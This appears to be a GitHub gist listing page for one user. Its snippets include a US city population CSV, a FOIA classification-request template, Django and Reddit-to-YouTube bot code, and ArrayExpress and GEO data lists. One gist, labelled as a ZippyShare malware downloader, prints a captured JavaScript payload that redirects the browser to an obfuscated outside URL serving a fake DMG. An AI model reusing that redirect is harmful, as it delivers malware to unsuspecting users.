Skip to content

Instantly share code, notes, and snippets.

View Miserlou's full-sized avatar

Rich Jones Miserlou

View GitHub Profile
@Miserlou
Miserlou / gist:11500b2345d3fe850c92
Created April 27, 2015 21:20
1000 Largest US Cities By Population
Largest 1000 Cities in America
2013 popuation data - Biggest US Cities By Population
rank,city,state,population,2000-2013 growth
1,New York,New York,8405837,4.8%
2,Los Angeles,California,3884307,4.8%
3,Chicago,Illinois,2718782,-6.1%
4,Houston,Texas,2195914,11.0%
5,Philadelphia,Pennsylvania,1553165,2.6%
@Miserlou
Miserlou / Executive Order 13526 Copypasta.txt
Created February 7, 2017 21:18
Executive Order 13526 Copypasta
In the event that the contents of any of the requested documents are classified under Executive Order 13526, I also make the following additional requests:
Pursuant to section 1.2 of Executive Order 13526, I am requesting the level of classification of this information and its existence/nonexistence.
Pursuant to section 1.3 of Executive Order 13526, I am requesting the specific authority which classified this information.
Pursuant to section 1.4 of Executive Order 13526, I am requesting the specific classification categories of this information, as well as an identification or description of the damage to national security which the disclosure of this information would produce.
Pursuant to section 1.5 of Executive Order 13526, I am requesting the specific duration of time for which this classification will stand.
@Miserlou
Miserlou / dict.django.html
Created February 14, 2012 21:55
Django Dictionary
<ul>
{% for key, value in dictionary.items %}
<li><a href="{{key}}">{{value}}</a></li>
{% endfor %}
</ul>
@Miserlou
Miserlou / gist:749ff87f03d4a7fee03a4b4730904347
Created February 3, 2017 06:02
ZippyShare Malware Downloader
Opens a fake DMG downloader, injected into the title bar and executed:
javascript:window.opener=null;setTimeout(function(){window.location.href='http://onderlea.info/ajNYbEVVFSwFIVcFal1zXwV+HiAODmlKJAhHZV5jHA5pQndfHWlCd0xGZV8jXgJrCHVfATtddlkKOgkjWQI+VXZfBG1YJlJSYVtzTFUrUXRMWj5RdUxANVFxWxUzUT8DQygVNgJSKglgWAMqCSQGFmpcIRhGNR9jGFY+US0eRyhJdisWaipgWHUvGzJbAHYWLBpDIR8tC0E9QiYFXn1eAxwWaipzH2cSDQApfH1eAwxaNAlrAkc1AGMJR2VZYwlHO1FxTEAsH3hbFTcfN1cVKB4rVwN+'},250)
@Miserlou
Miserlou / upload.py
Created November 7, 2017 19:37
uploader
print("Starting upload..")
title = s_title + ' - by u/' + submission.author.name + " to " + submission.subreddit.url
description = "Originally posted to " + submission.url + ". This video is uploaded by a bot for the convenience of mobile reddit users. Sorry about your copyright."
output = subprocess.check_output([ "/usr/bin/python2.7",
"youtube-upload/bin/youtube-upload",
outfile,
"--title",
title,
"--client-secrets",
@Miserlou
Miserlou / reply.py
Created November 7, 2017 19:37
reply
video_url = "https://www.youtube.com/watch?v=" + video_id
reply_body = "**[YouTube Mirror](" + video_url + ")**.\n\n_Reddit2YouTube Bot by miserlou, who hates the new reddit video player._"
submission.reply(reply_body)
print("Posted to: " + submission.url)
"events": [{
"function": "bot.main",
"expression": "rate(1 minute)"
}]
@Miserlou
Miserlou / array_express_sample_attributes.txt
Created February 22, 2018 22:04
All ArrayExpress Sample Attributes [2001-2018]
Organism: 24155
organism: 23820
organism part: 14299
cell type: 10462
genotype: 8876
age: 7687
strain: 7215
cell line: 6882
sex: 5244
developmental stage: 3943
@Miserlou
Miserlou / idf_keys.txt
Created February 27, 2018 18:19
ArrayExpress IDF Keys
Comment[ArrayExpressAccession]: 43269
SDRF File: 43245
Investigation Title: 43241
Person Last Name: 43233
Experiment Description: 43173
Person Roles: 43026
Person First Name: 42993
Protocol Name: 42977
Protocol Type: 42953
Protocol Description: 42945
@Miserlou
Miserlou / AGILENT_ONLY_TWOCOLOR.txt
Created May 7, 2018 20:51
AGILENT_ONLY_TWOCOLOR.txt
GSE7701
GSE7702
GSE9067
GSE9187
GSE10057
GSE10107
GSE10864
GSE10956
GSE10959
GSE11132